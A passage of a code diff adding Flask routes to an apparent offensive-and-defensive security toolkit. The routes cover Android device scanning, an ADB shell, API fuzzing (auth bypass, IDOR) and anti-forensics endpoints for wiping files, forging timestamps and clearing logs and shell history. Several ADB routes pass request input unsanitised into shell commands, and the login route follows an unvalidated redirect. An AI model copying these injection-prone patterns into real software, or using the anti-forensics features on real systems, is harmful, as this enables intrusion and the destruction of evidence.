||||
launcher_out = raw.get('launcher', '')
|
||||
launcher_pkgs = set()
|
||||
for line in launcher_out.split('\n'):
|
||||
line = line.strip()
|
||||
if '/' in line:
|
||||
launcher_pkgs.add(line.split('/')[0])
|
||||
hidden = sorted(all_pkgs - launcher_pkgs)
|
||||
return jsonify({'hidden': hidden, 'total': len(all_pkgs),
|
||||
'hidden_count': len(hidden)})
|
||||
|
||||
elif op == 'scan_admins':
|
||||
admins_raw = raw.get('admins', '')
|
||||
active = [l.strip() for l in admins_raw.split('\n')
|
||||
if 'ComponentInfo' in l or 'admin' in l.lower()]
|
||||
return jsonify({'admins': active, 'count': len(active)})
|
||||
|
||||
elif op == 'scan_accessibility':
|
||||
raw_val = raw.get('services', '').strip()
|
||||
services = [s.strip() for s in raw_val.split(':')
|
||||
if s.strip() and s.strip() != 'null']
|
||||
return jsonify({'services': services, 'count': len(services)})
|
||||
|
||||
elif op == 'scan_listeners':
|
||||
lines = [l.strip() for l in raw.get('listeners', '').split('\n') if l.strip()]
|
||||
return jsonify({'listeners': lines, 'count': len(lines)})
|
||||
|
||||
elif op == 'scan_integrity':
|
||||
issues = []
|
||||
if raw.get('debuggable', '').strip() == '1':
|
||||
issues.append({'issue': 'Kernel debuggable', 'severity': 'high',
|
||||
'detail': 'ro.debuggable=1'})
|
||||
if raw.get('secure', '').strip() == '0':
|
||||
issues.append({'issue': 'Insecure kernel', 'severity': 'high',
|
||||
'detail': 'ro.secure=0'})
|
||||
if raw.get('devopt', '').strip() == '1':
|
||||
issues.append({'issue': 'Developer options enabled', 'severity': 'medium',
|
||||
'detail': ''})
|
||||
return jsonify({'issues': issues,
|
||||
'fingerprint': raw.get('fingerprint', '').strip(),
|
||||
'kernel': raw.get('kernel', '').strip()})
|
||||
|
||||
elif op == 'scan_processes':
|
||||
lines = [l for l in raw.get('ps', '').split('\n') if l.strip()]
|
||||
return jsonify({'processes': lines, 'count': len(lines)})
|
||||
|
||||
elif op == 'scan_certs':
|
||||
certs = [c.strip() for c in raw.get('certs', '').split('\n')
|
||||
if c.strip() and not c.startswith('ls:')]
|
||||
return jsonify({'user_certs': certs, 'count': len(certs),
|
||||
'risk': 'high' if certs else 'none'})
|
||||
|
||||
elif op == 'scan_network':
|
||||
proxy = raw.get('proxy', '').strip()
|
||||
return jsonify({
|
||||
'proxy': proxy if proxy not in ('', 'null') else None,
|
||||
'dns_primary': raw.get('dns1', '').strip(),
|
||||
'dns_secondary': raw.get('dns2', '').strip(),
|
||||
'private_dns': raw.get('private_dns', '').strip(),
|
||||
'private_dns_h': raw.get('private_dns_h', '').strip(),
|
||||
})
|
||||
|
||||
elif op == 'scan_devopt':
|
||||
def flag(k): return raw.get(k, '').strip() == '1'
|
||||
issues = []
|
||||
if flag('devopt'): issues.append({'setting': 'Developer options', 'risk': 'medium'})
|
||||
if flag('adb'): issues.append({'setting': 'ADB enabled', 'risk': 'medium'})
|
||||
if flag('adb_wifi'): issues.append({'setting': 'ADB over WiFi', 'risk': 'high'})
|
||||
if raw.get('verifier', '').strip() == '0':
|
||||
issues.append({'setting': 'Package verifier disabled', 'risk': 'high'})
|
||||
return jsonify({'settings': issues})
|
||||
|
||||
elif op == 'perms_dangerous':
|
||||
packages = sorted(_pkgs(raw.get('packages', '')))
|
||||
return jsonify({'packages': packages, 'count': len(packages),
|
||||
'note': 'Full permission analysis requires Server mode (needs per-package dumpsys)'})
|
||||
|
||||
else:
|
||||
return jsonify({'error': f'Direct mode parse not implemented for: {op}. Use Server mode.'}), 200
|
||||
|
||||
except Exception as exc:
|
||||
return jsonify({'error': str(exc)})
|
||||
97
web/routes/anti_forensics.py
Normal file
97
web/routes/anti_forensics.py
Normal file
@@ -0,0 +1,97 @@
|
||||
"""Anti-Forensics routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
anti_forensics_bp = Blueprint('anti_forensics', __name__, url_prefix='/anti-forensics')
|
||||
|
||||
def _get_mgr():
|
||||
from modules.anti_forensics import get_anti_forensics
|
||||
return get_anti_forensics()
|
||||
|
||||
@anti_forensics_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('anti_forensics.html')
|
||||
|
||||
@anti_forensics_bp.route('/capabilities')
|
||||
@login_required
|
||||
def capabilities():
|
||||
return jsonify(_get_mgr().get_capabilities())
|
||||
|
||||
@anti_forensics_bp.route('/delete/file', methods=['POST'])
|
||||
@login_required
|
||||
def delete_file():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().delete.secure_delete_file(
|
||||
data.get('path', ''), data.get('passes', 3), data.get('method', 'random')
|
||||
))
|
||||
|
||||
@anti_forensics_bp.route('/delete/directory', methods=['POST'])
|
||||
@login_required
|
||||
def delete_directory():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().delete.secure_delete_directory(
|
||||
data.get('path', ''), data.get('passes', 3)
|
||||
))
|
||||
|
||||
@anti_forensics_bp.route('/wipe', methods=['POST'])
|
||||
@login_required
|
||||
def wipe_free_space():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().delete.wipe_free_space(data.get('mount_point', '')))
|
||||
|
||||
@anti_forensics_bp.route('/timestamps', methods=['GET', 'POST'])
|
||||
@login_required
|
||||
def timestamps():
|
||||
if request.method == 'POST':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().timestamps.set_timestamps(
|
||||
data.get('path', ''), data.get('accessed'), data.get('modified')
|
||||
))
|
||||
return jsonify(_get_mgr().timestamps.get_timestamps(request.args.get('path', '')))
|
||||
|
||||
@anti_forensics_bp.route('/timestamps/clone', methods=['POST'])
|
||||
@login_required
|
||||
def clone_timestamps():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().timestamps.clone_timestamps(data.get('source', ''), data.get('target', '')))
|
||||
|
||||
@anti_forensics_bp.route('/timestamps/randomize', methods=['POST'])
|
||||
@login_required
|
||||
def randomize_timestamps():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().timestamps.randomize_timestamps(data.get('path', '')))
|
||||
|
||||
@anti_forensics_bp.route('/logs')
|
||||
@login_required
|
||||
def list_logs():
|
||||
return jsonify(_get_mgr().logs.list_logs())
|
||||
|
||||
@anti_forensics_bp.route('/logs/clear', methods=['POST'])
|
||||
@login_required
|
||||
def clear_log():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().logs.clear_log(data.get('path', '')))
|
||||
|
||||
@anti_forensics_bp.route('/logs/remove', methods=['POST'])
|
||||
@login_required
|
||||
def remove_entries():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().logs.remove_entries(data.get('path', ''), data.get('pattern', '')))
|
||||
|
||||
@anti_forensics_bp.route('/logs/history', methods=['POST'])
|
||||
@login_required
|
||||
def clear_history():
|
||||
return jsonify(_get_mgr().logs.clear_bash_history())
|
||||
|
||||
@anti_forensics_bp.route('/scrub/image', methods=['POST'])
|
||||
@login_required
|
||||
def scrub_image():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().scrubber.scrub_image(data.get('path', ''), data.get('output')))
|
||||
|
||||
@anti_forensics_bp.route('/scrub/pdf', methods=['POST'])
|
||||
@login_required
|
||||
def scrub_pdf():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().scrubber.scrub_pdf_metadata(data.get('path', '')))
|
||||
95
web/routes/api_fuzzer.py
Normal file
95
web/routes/api_fuzzer.py
Normal file
@@ -0,0 +1,95 @@
|
||||
"""API Fuzzer routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
api_fuzzer_bp = Blueprint('api_fuzzer', __name__, url_prefix='/api-fuzzer')
|
||||
|
||||
def _get_fuzzer():
|
||||
from modules.api_fuzzer import get_api_fuzzer
|
||||
return get_api_fuzzer()
|
||||
|
||||
@api_fuzzer_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('api_fuzzer.html')
|
||||
|
||||
@api_fuzzer_bp.route('/discover', methods=['POST'])
|
||||
@login_required
|
||||
def discover():
|
||||
data = request.get_json(silent=True) or {}
|
||||
job_id = _get_fuzzer().discover_endpoints(
|
||||
data.get('base_url', ''), data.get('custom_paths')
|
||||
)
|
||||
return jsonify({'ok': bool(job_id), 'job_id': job_id})
|
||||
|
||||
@api_fuzzer_bp.route('/openapi', methods=['POST'])
|
||||
@login_required
|
||||
def parse_openapi():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().parse_openapi(data.get('url', '')))
|
||||
|
||||
@api_fuzzer_bp.route('/fuzz', methods=['POST'])
|
||||
@login_required
|
||||
def fuzz():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().fuzz_params(
|
||||
url=data.get('url', ''),
|
||||
method=data.get('method', 'GET'),
|
||||
params=data.get('params', {}),
|
||||
payload_type=data.get('payload_type', 'type_confusion')
|
||||
))
|
||||
|
||||
@api_fuzzer_bp.route('/auth/bypass', methods=['POST'])
|
||||
@login_required
|
||||
def auth_bypass():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().test_auth_bypass(data.get('url', '')))
|
||||
|
||||
@api_fuzzer_bp.route('/auth/idor', methods=['POST'])
|
||||
@login_required
|
||||
def idor():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().test_idor(
|
||||
data.get('url_template', ''),
|
||||
(data.get('start_id', 1), data.get('end_id', 10)),
|
||||
data.get('auth_token')
|
||||
))
|
||||
|
||||
@api_fuzzer_bp.route('/ratelimit', methods=['POST'])
|
||||
@login_required
|
||||
def rate_limit():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().test_rate_limit(
|
||||
data.get('url', ''), data.get('count', 50), data.get('method', 'GET')
|
||||
))
|
||||
|
||||
@api_fuzzer_bp.route('/graphql/introspect', methods=['POST'])
|
||||
@login_required
|
||||
def graphql_introspect():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().graphql_introspect(data.get('url', '')))
|
||||
|
||||
@api_fuzzer_bp.route('/graphql/depth', methods=['POST'])
|
||||
@login_required
|
||||
def graphql_depth():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().graphql_depth_test(data.get('url', ''), data.get('max_depth', 10)))
|
||||
|
||||
@api_fuzzer_bp.route('/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def analyze():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_fuzzer().analyze_response(data.get('url', ''), data.get('method', 'GET')))
|
||||
|
||||
@api_fuzzer_bp.route('/auth/set', methods=['POST'])
|
||||
@login_required
|
||||
def set_auth():
|
||||
data = request.get_json(silent=True) or {}
|
||||
_get_fuzzer().set_auth(data.get('type', ''), data.get('value', ''), data.get('header', 'Authorization'))
|
||||
return jsonify({'ok': True})
|
||||
|
||||
@api_fuzzer_bp.route('/job/<job_id>')
|
||||
@login_required
|
||||
def job_status(job_id):
|
||||
job = _get_fuzzer().get_job(job_id)
|
||||
return jsonify(job or {'error': 'Job not found'})
|
||||
261
web/routes/archon.py
Normal file
261
web/routes/archon.py
Normal file
@@ -0,0 +1,261 @@
|
||||
"""Archon route — privileged Android device management via ArchonServer."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
archon_bp = Blueprint('archon', __name__, url_prefix='/archon')
|
||||
|
||||
|
||||
@archon_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('archon.html')
|
||||
|
||||
|
||||
@archon_bp.route('/shell', methods=['POST'])
|
||||
@login_required
|
||||
def shell():
|
||||
"""Run a shell command on the connected device via ADB."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
command = data.get('command', '').strip()
|
||||
if not command:
|
||||
return jsonify({'error': 'No command'})
|
||||
|
||||
# Find connected device
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'stdout': '', 'stderr': 'No ADB device connected', 'exit_code': -1})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_shell(serial, command)
|
||||
return jsonify({
|
||||
'stdout': result.get('output', ''),
|
||||
'stderr': '',
|
||||
'exit_code': result.get('returncode', -1),
|
||||
})
|
||||
|
||||
|
||||
@archon_bp.route('/pull', methods=['POST'])
|
||||
@login_required
|
||||
def pull():
|
||||
"""Pull a file from device to AUTARCH server."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
remote = data.get('remote', '').strip()
|
||||
if not remote:
|
||||
return jsonify({'error': 'No remote path'})
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No ADB device connected'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_pull(serial, remote)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@archon_bp.route('/push', methods=['POST'])
|
||||
@login_required
|
||||
def push():
|
||||
"""Push a file from AUTARCH server to device."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
local = data.get('local', '').strip()
|
||||
remote = data.get('remote', '').strip()
|
||||
if not local or not remote:
|
||||
return jsonify({'error': 'Missing local or remote path'})
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No ADB device connected'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_push(serial, local, remote)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@archon_bp.route('/packages', methods=['GET'])
|
||||
@login_required
|
||||
def packages():
|
||||
"""List installed packages."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No device'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
show_system = request.args.get('system', 'false') == 'true'
|
||||
flag = '-f' if not show_system else '-f -s'
|
||||
result = mgr.adb_shell(serial, f'pm list packages {flag}')
|
||||
output = result.get('output', '')
|
||||
|
||||
pkgs = []
|
||||
for line in output.strip().split('\n'):
|
||||
if line.startswith('package:'):
|
||||
# format: package:/path/to/apk=com.package.name
|
||||
parts = line[8:].split('=', 1)
|
||||
if len(parts) == 2:
|
||||
pkgs.append({'apk': parts[0], 'package': parts[1]})
|
||||
else:
|
||||
pkgs.append({'apk': '', 'package': parts[0]})
|
||||
|
||||
return jsonify({'packages': pkgs, 'count': len(pkgs)})
|
||||
|
||||
|
||||
@archon_bp.route('/grant', methods=['POST'])
|
||||
@login_required
|
||||
def grant_permission():
|
||||
"""Grant a permission to a package."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
permission = data.get('permission', '').strip()
|
||||
if not package or not permission:
|
||||
return jsonify({'error': 'Missing package or permission'})
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No device'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_shell(serial, f'pm grant {package} {permission}')
|
||||
return jsonify({
|
||||
'success': result.get('returncode', -1) == 0,
|
||||
'output': result.get('output', ''),
|
||||
})
|
||||
|
||||
|
||||
@archon_bp.route('/revoke', methods=['POST'])
|
||||
@login_required
|
||||
def revoke_permission():
|
||||
"""Revoke a permission from a package."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
permission = data.get('permission', '').strip()
|
||||
if not package or not permission:
|
||||
return jsonify({'error': 'Missing package or permission'})
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No device'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_shell(serial, f'pm revoke {package} {permission}')
|
||||
return jsonify({
|
||||
'success': result.get('returncode', -1) == 0,
|
||||
'output': result.get('output', ''),
|
||||
})
|
||||
|
||||
|
||||
@archon_bp.route('/app-ops', methods=['POST'])
|
||||
@login_required
|
||||
def app_ops():
|
||||
"""Set an appops permission for a package."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
op = data.get('op', '').strip()
|
||||
mode = data.get('mode', '').strip() # allow, deny, ignore, default
|
||||
if not package or not op or not mode:
|
||||
return jsonify({'error': 'Missing package, op, or mode'})
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No device'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_shell(serial, f'cmd appops set {package} {op} {mode}')
|
||||
return jsonify({
|
||||
'success': result.get('returncode', -1) == 0,
|
||||
'output': result.get('output', ''),
|
||||
})
|
||||
|
||||
|
||||
@archon_bp.route('/settings-cmd', methods=['POST'])
|
||||
@login_required
|
||||
def settings_cmd():
|
||||
"""Read or write Android system settings."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
namespace = data.get('namespace', 'system').strip() # system, secure, global
|
||||
action = data.get('action', 'get').strip() # get, put
|
||||
key = data.get('key', '').strip()
|
||||
value = data.get('value', '').strip()
|
||||
|
||||
if namespace not in ('system', 'secure', 'global'):
|
||||
return jsonify({'error': 'Invalid namespace'})
|
||||
if not key:
|
||||
return jsonify({'error': 'Missing key'})
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No device'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
|
||||
if action == 'put' and value:
|
||||
cmd = f'settings put {namespace} {key} {value}'
|
||||
else:
|
||||
cmd = f'settings get {namespace} {key}'
|
||||
|
||||
result = mgr.adb_shell(serial, cmd)
|
||||
return jsonify({
|
||||
'value': result.get('output', '').strip(),
|
||||
'exit_code': result.get('returncode', -1),
|
||||
})
|
||||
|
||||
|
||||
@archon_bp.route('/file-list', methods=['POST'])
|
||||
@login_required
|
||||
def file_list():
|
||||
"""List files in a directory on the device."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
path = data.get('path', '/').strip()
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No device'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_shell(serial, f'ls -la {path}')
|
||||
return jsonify({
|
||||
'path': path,
|
||||
'output': result.get('output', ''),
|
||||
'exit_code': result.get('returncode', -1),
|
||||
})
|
||||
|
||||
|
||||
@archon_bp.route('/file-copy', methods=['POST'])
|
||||
@login_required
|
||||
def file_copy():
|
||||
"""Copy a file on the device (elevated shell can access protected paths)."""
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
src = data.get('src', '').strip()
|
||||
dst = data.get('dst', '').strip()
|
||||
if not src or not dst:
|
||||
return jsonify({'error': 'Missing src or dst'})
|
||||
|
||||
devices = mgr.adb_devices()
|
||||
if not devices:
|
||||
return jsonify({'error': 'No device'})
|
||||
|
||||
serial = devices[0].get('serial', '')
|
||||
result = mgr.adb_shell(serial, f'cp -r {src} {dst}')
|
||||
return jsonify({
|
||||
'success': result.get('returncode', -1) == 0,
|
||||
'output': result.get('output', ''),
|
||||
})
|
||||
61
web/routes/auth_routes.py
Normal file
61
web/routes/auth_routes.py
Normal file
@@ -0,0 +1,61 @@
|
||||
"""Auth routes - login, logout, password change"""
|
||||
|
||||
from flask import Blueprint, render_template, request, redirect, url_for, session, flash, jsonify
|
||||
from web.auth import check_password, hash_password, load_credentials, save_credentials
|
||||
|
||||
auth_bp = Blueprint('auth', __name__)
|
||||
|
||||
|
||||
@auth_bp.route('/login', methods=['GET', 'POST'])
|
||||
def login():
|
||||
if 'user' in session:
|
||||
return redirect(url_for('dashboard.index'))
|
||||
|
||||
if request.method == 'POST':
|
||||
username = request.form.get('username', '')
|
||||
password = request.form.get('password', '')
|
||||
creds = load_credentials()
|
||||
|
||||
if username == creds['username'] and check_password(password, creds['password']):
|
||||
session['user'] = username
|
||||
if creds.get('force_change'):
|
||||
flash('Please change the default password.', 'warning')
|
||||
return redirect(url_for('settings.index'))
|
||||
next_url = request.args.get('next', url_for('dashboard.index'))
|
||||
return redirect(next_url)
|
||||
else:
|
||||
flash('Invalid credentials.', 'error')
|
||||
|
||||
return render_template('login.html')
|
||||
|
||||
|
||||
@auth_bp.route('/api/login', methods=['POST'])
|
||||
def api_login():
|
||||
"""JSON login endpoint for the companion app."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
username = data.get('username', '')
|
||||
password = data.get('password', '')
|
||||
|
||||
if not username or not password:
|
||||
return jsonify({'ok': False, 'error': 'Missing username or password'}), 400
|
||||
|
||||
creds = load_credentials()
|
||||
if username == creds['username'] and check_password(password, creds['password']):
|
||||
session['user'] = username
|
||||
return jsonify({'ok': True, 'user': username})
|
||||
else:
|
||||
return jsonify({'ok': False, 'error': 'Invalid credentials'}), 401
|
||||
|
||||
|
||||
@auth_bp.route('/api/check', methods=['GET'])
|
||||
def api_check():
|
||||
"""Check if the current session is authenticated."""
|
||||
if 'user' in session:
|
||||
return jsonify({'ok': True, 'user': session['user']})
|
||||
return jsonify({'ok': False}), 401
|
||||
|
||||
|
||||
@auth_bp.route('/logout')
|
||||
def logout():
|
||||
session.clear()
|
||||
return redirect(url_for('auth.login'))
|
||||
241
web/routes/autonomy.py
Normal file
241
web/routes/autonomy.py
Normal file
@@ -0,0 +1,241 @@
|
||||
"""Autonomy routes — daemon control, model management, rules CRUD, activity log."""
|
||||
|
||||
import json
|
||||
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
|
||||
from web.auth import login_required
|
||||
|
||||
autonomy_bp = Blueprint('autonomy', __name__, url_prefix='/autonomy')
|
||||
|
||||
|
||||
def _get_daemon():
|
||||
from core.autonomy import get_autonomy_daemon
|
||||
return get_autonomy_daemon()
|
||||
|
||||
|
||||
def _get_router():
|
||||
from core.model_router import get_model_router
|
||||
return get_model_router()
|
||||
|
||||
|
||||
# ==================== PAGES ====================
|
||||
|
||||
@autonomy_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('autonomy.html')
|
||||
|
||||
|
||||
# ==================== DAEMON CONTROL ====================
|
||||
|
||||
@autonomy_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
daemon = _get_daemon()
|
||||
router = _get_router()
|
||||
return jsonify({
|
||||
'daemon': daemon.status,
|
||||
'models': router.status,
|
||||
})
|
||||
|
||||
|
||||
@autonomy_bp.route('/start', methods=['POST'])
|
||||
@login_required
|
||||
def start():
|
||||
daemon = _get_daemon()
|
||||
ok = daemon.start()
|
||||
return jsonify({'success': ok, 'status': daemon.status})
|
||||
|
||||
|
||||
@autonomy_bp.route('/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop():
|
||||
daemon = _get_daemon()
|
||||
daemon.stop()
|
||||
return jsonify({'success': True, 'status': daemon.status})
|
||||
|
||||
|
||||
@autonomy_bp.route('/pause', methods=['POST'])
|
||||
@login_required
|
||||
def pause():
|
||||
daemon = _get_daemon()
|
||||
daemon.pause()
|
||||
return jsonify({'success': True, 'status': daemon.status})
|
||||
|
||||
|
||||
@autonomy_bp.route('/resume', methods=['POST'])
|
||||
@login_required
|
||||
def resume():
|
||||
daemon = _get_daemon()
|
||||
daemon.resume()
|
||||
return jsonify({'success': True, 'status': daemon.status})
|
||||
|
||||
|
||||
# ==================== MODELS ====================
|
||||
|
||||
@autonomy_bp.route('/models')
|
||||
@login_required
|
||||
def models():
|
||||
return jsonify(_get_router().status)
|
||||
|
||||
|
||||
@autonomy_bp.route('/models/load/<tier>', methods=['POST'])
|
||||
@login_required
|
||||
def models_load(tier):
|
||||
from core.model_router import ModelTier
|
||||
try:
|
||||
mt = ModelTier(tier)
|
||||
except ValueError:
|
||||
return jsonify({'error': f'Invalid tier: {tier}'}), 400
|
||||
ok = _get_router().load_tier(mt, verbose=True)
|
||||
return jsonify({'success': ok, 'models': _get_router().status})
|
||||
|
||||
|
||||
@autonomy_bp.route('/models/unload/<tier>', methods=['POST'])
|
||||
@login_required
|
||||
def models_unload(tier):
|
||||
from core.model_router import ModelTier
|
||||
try:
|
||||
mt = ModelTier(tier)
|
||||
except ValueError:
|
||||
return jsonify({'error': f'Invalid tier: {tier}'}), 400
|
||||
_get_router().unload_tier(mt)
|
||||
return jsonify({'success': True, 'models': _get_router().status})
|
||||
|
||||
|
||||
# ==================== RULES ====================
|
||||
|
||||
@autonomy_bp.route('/rules')
|
||||
@login_required
|
||||
def rules_list():
|
||||
daemon = _get_daemon()
|
||||
rules = daemon.rules_engine.get_all_rules()
|
||||
return jsonify({'rules': [r.to_dict() for r in rules]})
|
||||
|
||||
|
||||
@autonomy_bp.route('/rules', methods=['POST'])
|
||||
@login_required
|
||||
def rules_create():
|
||||
from core.rules import Rule
|
||||
data = request.get_json(silent=True) or {}
|
||||
rule = Rule.from_dict(data)
|
||||
daemon = _get_daemon()
|
||||
daemon.rules_engine.add_rule(rule)
|
||||
return jsonify({'success': True, 'rule': rule.to_dict()})
|
||||
|
||||
|
||||
@autonomy_bp.route('/rules/<rule_id>', methods=['PUT'])
|
||||
@login_required
|
||||
def rules_update(rule_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
daemon = _get_daemon()
|
||||
rule = daemon.rules_engine.update_rule(rule_id, data)
|
||||
if rule:
|
||||
return jsonify({'success': True, 'rule': rule.to_dict()})
|
||||
return jsonify({'error': 'Rule not found'}), 404
|
||||
|
||||
|
||||
@autonomy_bp.route('/rules/<rule_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def rules_delete(rule_id):
|
||||
daemon = _get_daemon()
|
||||
ok = daemon.rules_engine.delete_rule(rule_id)
|
||||
return jsonify({'success': ok})
|
||||
|
||||
|
||||
@autonomy_bp.route('/templates')
|
||||
@login_required
|
||||
def rule_templates():
|
||||
"""Pre-built rule templates for common scenarios."""
|
||||
templates = [
|
||||
{
|
||||
'name': 'Auto-Block Port Scanners',
|
||||
'description': 'Block IPs that trigger port scan detection',
|
||||
'conditions': [{'type': 'port_scan_detected'}],
|
||||
'actions': [
|
||||
{'type': 'block_ip', 'ip': '$source_ip'},
|
||||
{'type': 'alert', 'message': 'Blocked scanner: $source_ip'},
|
||||
],
|
||||
'priority': 10,
|
||||
'cooldown_seconds': 300,
|
||||
},
|
||||
{
|
||||
'name': 'DDoS Auto-Response',
|
||||
'description': 'Rate-limit top talkers during DDoS attacks',
|
||||
'conditions': [{'type': 'ddos_detected'}],
|
||||
'actions': [
|
||||
{'type': 'rate_limit_ip', 'ip': '$source_ip', 'rate': '10/s'},
|
||||
{'type': 'alert', 'message': 'DDoS mitigated: $attack_type from $source_ip'},
|
||||
],
|
||||
'priority': 5,
|
||||
'cooldown_seconds': 60,
|
||||
},
|
||||
{
|
||||
'name': 'High Threat Alert',
|
||||
'description': 'Send alert when threat score exceeds threshold',
|
||||
'conditions': [{'type': 'threat_score_above', 'value': 60}],
|
||||
'actions': [
|
||||
{'type': 'alert', 'message': 'Threat score: $threat_score ($threat_level)'},
|
||||
],
|
||||
'priority': 20,
|
||||
'cooldown_seconds': 120,
|
||||
},
|
||||
{
|
||||
'name': 'New Port Investigation',
|
||||
'description': 'Use SAM agent to investigate new listening ports',
|
||||
'conditions': [{'type': 'new_listening_port'}],
|
||||
'actions': [
|
||||
{'type': 'escalate_to_lam', 'task': 'Investigate new listening port $new_port (PID $suspicious_pid). Determine if this is legitimate or suspicious.'},
|
||||
],
|
||||
'priority': 30,
|
||||
'cooldown_seconds': 300,
|
||||
},
|
||||
{
|
||||
'name': 'Bandwidth Spike Alert',
|
||||
'description': 'Alert on unusual inbound bandwidth',
|
||||
'conditions': [{'type': 'bandwidth_rx_above_mbps', 'value': 100}],
|
||||
'actions': [
|
||||
{'type': 'alert', 'message': 'Bandwidth spike detected (>100 Mbps RX)'},
|
||||
],
|
||||
'priority': 25,
|
||||
'cooldown_seconds': 60,
|
||||
},
|
||||
]
|
||||
return jsonify({'templates': templates})
|
||||
|
||||
|
||||
# ==================== ACTIVITY LOG ====================
|
||||
|
||||
@autonomy_bp.route('/activity')
|
||||
@login_required
|
||||
def activity():
|
||||
limit = request.args.get('limit', 50, type=int)
|
||||
offset = request.args.get('offset', 0, type=int)
|
||||
daemon = _get_daemon()
|
||||
entries = daemon.get_activity(limit=limit, offset=offset)
|
||||
return jsonify({'entries': entries, 'total': daemon.get_activity_count()})
|
||||
|
||||
|
||||
@autonomy_bp.route('/activity/stream')
|
||||
@login_required
|
||||
def activity_stream():
|
||||
"""SSE stream of live activity entries."""
|
||||
daemon = _get_daemon()
|
||||
q = daemon.subscribe()
|
||||
|
||||
def generate():
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
data = q.get(timeout=30)
|
||||
yield f'data: {data}\n\n'
|
||||
except Exception:
|
||||
# Send keepalive
|
